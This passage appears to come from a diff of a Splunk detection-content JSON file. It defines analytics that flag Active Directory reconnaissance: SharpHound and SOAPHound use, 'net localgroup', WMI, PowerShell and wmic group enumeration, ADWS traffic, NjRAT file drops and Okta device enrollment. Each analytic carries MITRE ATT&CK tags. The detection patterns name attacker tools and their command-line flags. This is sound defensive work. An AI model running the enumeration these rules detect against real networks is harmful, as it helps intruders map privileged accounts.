- "name": "Detect SharpHound File Modifications", - "description": "The following analytic detects the creation of files typically associated with SharpHound, a reconnaissance tool used for gathering domain and trust data. It leverages file modification events from the Endpoint.Filesystem data model, focusing on default file naming patterns like `*_BloodHound.zip` and various JSON files. This activity is significant as it indicates potential domain enumeration, which is a precursor to more targeted attacks. If confirmed malicious, an attacker could gain detailed insights into the domain structure, facilitating lateral movement and privilege escalation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_name IN (\"*bloodhound.zip\", \"*_computers.json\", \"*_gpos.json\", \"*_domains.json\", \"*_users.json\", \"*_groups.json\", \"*_ous.json\", \"*_containers.json\") by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.file_path Filesystem.dest Filesystem.user| `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_sharphound_file_modifications_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Potential SharpHound file modifications identified on $dest$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect SharpHound Usage", - "description": "The following analytic detects the usage of the SharpHound binary by identifying its original filename, `SharpHound.exe`, and the process name. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process metadata and command-line executions. SharpHound is a tool used for Active Directory enumeration, often by attackers during the reconnaissance phase. If confirmed malicious, this activity could allow an attacker to map out the network, identify high-value targets, and plan further attacks, potentially leading to privilege escalation and lateral movement within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=sharphound.exe OR Processes.original_file_name=SharpHound.exe) by Processes.dest Processes.user Processes.parent_process_name Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_sharphound_usage_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Potential SharpHound binary identified on $dest$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Get WMIObject Group Discovery", - "description": "The following analytic detects the use of the `Get-WMIObject Win32_Group` command executed via PowerShell to enumerate local groups on an endpoint. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. Identifying local groups can be a precursor to privilege escalation or lateral movement. If confirmed malicious, this activity could allow an attacker to map out group memberships, aiding in further exploitation or unauthorized access to sensitive resources.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=powershell.exe OR processes.process_name=cmd.exe) (Processes.process=\"*Get-WMIObject*\" AND Processes.process=\"*Win32_Group*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.original_file_name Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `get_wmiobject_group_discovery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "System group discovery on $dest$ by $user$.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - } - ] - } - }, - { - "name": "Get WMIObject Group Discovery with Script Block Logging", - "description": "The following analytic detects the execution of the `Get-WMIObject Win32_Group` command using PowerShell Script Block Logging (EventCode=4104). This method captures the full command sent to PowerShell, allowing for detailed analysis. Identifying group information on an endpoint is not inherently malicious but can be suspicious based on context such as time, endpoint, and user. This activity is significant as it may indicate reconnaissance efforts by an attacker. If confirmed malicious, it could lead to further enumeration and potential lateral movement within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Get-WMIObject*\" AND ScriptBlockText = \"*Win32_Group*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest, UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `get_wmiobject_group_discovery_with_script_block_logging_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "System group discovery enumeration on $dest$ by $user$.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - } - ] - } - }, - { - "name": "Net Localgroup Discovery", - "description": "The following analytic detects the execution of the `net localgroup` command, which is used to enumerate local group memberships on a system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant because it can indicate an attacker is gathering information about local group memberships, potentially to identify privileged accounts. If confirmed malicious, this behavior could lead to further privilege escalation or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=net.exe OR Processes.process_name=net1.exe (Processes.process=\"*localgroup*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.original_file_name Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `net_localgroup_discovery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Azorult", - "Graceful Wipe Out Attack", - "IcedID", - "Prestige Ransomware", - "Rhysida Ransomware", - "Volt Typhoon", - "Windows Discovery Techniques", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Local group discovery on $dest$ by $user$.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - } - ] - } - }, - { - "name": "Network Traffic to Active Directory Web Services Protocol", - "description": "The following analytic identifies network traffic directed to the Active Directory Web Services Protocol (ADWS) on port 9389. It leverages network traffic logs, focusing on source and destination IP addresses, application names, and destination ports. This activity is significant as ADWS is used to manage Active Directory, and unauthorized access could indicate malicious intent. If confirmed malicious, an attacker could manipulate Active Directory, potentially leading to privilege escalation, unauthorized access, or persistent control over the environment.", - "search": "| tstats count from datamodel=Network_Traffic where All_Traffic.dest_port=9389 by All_Traffic.src_ip, All_Traffic.dest_ip, All_Traffic.app, All_Traffic.user, All_Traffic.dest_port | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(\"All_Traffic\")` | `network_traffic_to_active_directory_web_services_protocol_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Network", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "dest_ip", - "type": "IP Address", - "role": [ - "Victim" - ] - } - ], - "message": "Network traffic to Active Directory Web Services Protocol was identified on $dest_ip$ by $src_ip$.", - "risk_score": 10, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "PowerShell Get LocalGroup Discovery", - "description": "The following analytic identifies the use of the `get-localgroup` command executed via PowerShell or cmd.exe to enumerate local groups on an endpoint. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. Monitoring this activity is significant as it may indicate an attacker attempting to gather information about local group memberships, which can be a precursor to privilege escalation. If confirmed malicious, this activity could allow an attacker to identify and target privileged accounts, potentially leading to unauthorized access and control over the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=powershell.exe OR Processes.process_name=cmd.exe) (Processes.process=\"*get-localgroup*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `powershell_get_localgroup_discovery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Local group discovery on $dest$ by $user$.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - } - ] - } - }, - { - "name": "Powershell Get LocalGroup Discovery with Script Block Logging", - "description": "The following analytic detects the execution of the PowerShell cmdlet `get-localgroup` using PowerShell Script Block Logging (EventCode=4104). This method captures the full command sent to PowerShell, providing detailed visibility into script execution. Monitoring this activity is significant as it can indicate an attempt to enumerate local groups, which may be a precursor to privilege escalation or lateral movement. If confirmed malicious, an attacker could gain insights into group memberships, potentially leading to unauthorized access or privilege abuse. Review parallel processes and the entire script block for comprehensive analysis.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*get-localgroup*\" | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | rename Computer as dest, UserID as user | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `powershell_get_localgroup_discovery_with_script_block_logging_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Local group discovery on endpoint $dest$ by user $user$.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - } - ] - } - }, - { - "name": "Windows Admin Permission Discovery", - "description": "The following analytic identifies the creation of a suspicious file named 'win.dat' in the root directory (C:\\). It leverages data from the Endpoint.Filesystem datamodel to detect this activity. This behavior is significant as it is commonly used by malware like NjRAT to check for administrative privileges on a compromised host. If confirmed malicious, this activity could indicate that the malware has administrative access, allowing it to perform high-privilege actions, potentially leading to further system compromise and persistence.", - "search": "|tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_name IN (\"*.exe\", \"*.dll\", \"*.sys\", \"*.com\", \"*.vbs\", \"*.vbe\", \"*.js\", \"*.bat\", \"*.cmd\", \"*.pif\", \"*.lnk\", \"*.dat\") by Filesystem.dest Filesystem.file_create_time Filesystem.process_id Filesystem.process_guid Filesystem.file_name Filesystem.file_path Filesystem.user | `drop_dm_object_name(Filesystem)` | eval dropped_file_path = split(file_path, \"\\\\\") | eval dropped_file_path_split_count = mvcount(dropped_file_path) | eval root_drive = mvindex(dropped_file_path,0) | where LIKE(root_drive, \"C:\") AND dropped_file_path_split_count = 2 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_admin_permission_discovery_filter`", - "tags": { - "analytic_story": [ - "NjRAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "A file was created in root drive C:/ on host - $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - } - ] - } - }, - { - "name": "Windows SOAPHound Binary Execution", - "description": "The following analytic detects the execution of the SOAPHound binary (`soaphound.exe`) with specific command-line arguments. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, command-line arguments, and other process-related metadata. This activity is significant because SOAPHound is a known tool used for credential dumping and other malicious activities. If confirmed malicious, this behavior could allow an attacker to extract sensitive information, escalate privileges, or persist within the environment, posing a severe threat to organizational security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=\"soaphound.exe\" OR Processes.original_file_name=\"soaphound.exe\" AND Processes.process IN (\"*--buildcache *\", \"*--bhdump *\", \"*--certdump *\", \"*--dnsdump *\", \"*-c *\", \"*--cachefilename *\", \"*-o *\", \"*--outputdirectory *\") by Processes.process Processes.dest Processes.process_current_directory Processes.process_name Processes.process_path Processes.process_integrity_level Processes.parent_process Processes.parent_process_path Processes.parent_process_guid Processes.parent_process_id Processes.process_guid Processes.process_id Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_soaphound_binary_execution_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "process_name", - "type": "Process", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The process $process_name$ was executed on $dest$ related to SOAPHound.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Wmic Group Discovery", - "description": "The following analytic identifies the use of `wmic.exe` to enumerate local groups on an endpoint. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs, including command-line details. Monitoring this activity is significant as it can indicate reconnaissance efforts by an attacker to understand group memberships, which could be a precursor to privilege escalation or lateral movement. If confirmed malicious, this activity could allow an attacker to map out privileged groups, aiding in further exploitation and persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=wmic.exe (Processes.process=\"*group get name*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.original_file_name Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `wmic_group_discovery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Local group discovery on $dest$ by $user$.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - } - ] - } } ], "external_reference": [ @@ -511669,2784 +351609,7 @@ "Event ID": null, "Event Name": "API monitoring" } - ], - { - "name": "Okta New Device Enrolled on Account", - "description": "The following analytic identifies when a new device is enrolled on an Okta account. It uses OktaIm2 logs ingested via the Splunk Add-on for Okta Identity Cloud to detect the creation of new device enrollments. This activity is significant as it may indicate a legitimate user setting up a new device or an adversary adding a device to maintain unauthorized access. If confirmed malicious, this could lead to potential account takeover, unauthorized access, and persistent control over the compromised Okta account. Monitoring this behavior is crucial for detecting and mitigating unauthorized access attempts.", - "search": " | tstats `security_content_summariesonly` count max(_time) as lastTime, min(_time) as firstTime from datamodel=Change where All_Changes.action=created All_Changes.command=device.enrollment.create by _time span=5m All_Changes.user All_Changes.result All_Changes.command sourcetype All_Changes.src All_Changes.action All_Changes.object_category | `drop_dm_object_name(\"All_Changes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_new_device_enrolled_on_account_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new device was enrolled on an Okta account for user [$user$]. Investigate further to determine if this was authorized.", - "risk_score": 24, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.005", - "mitre_attack_technique": "Device Registration", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "ASL AWS IAM Delete Policy", - "description": "The 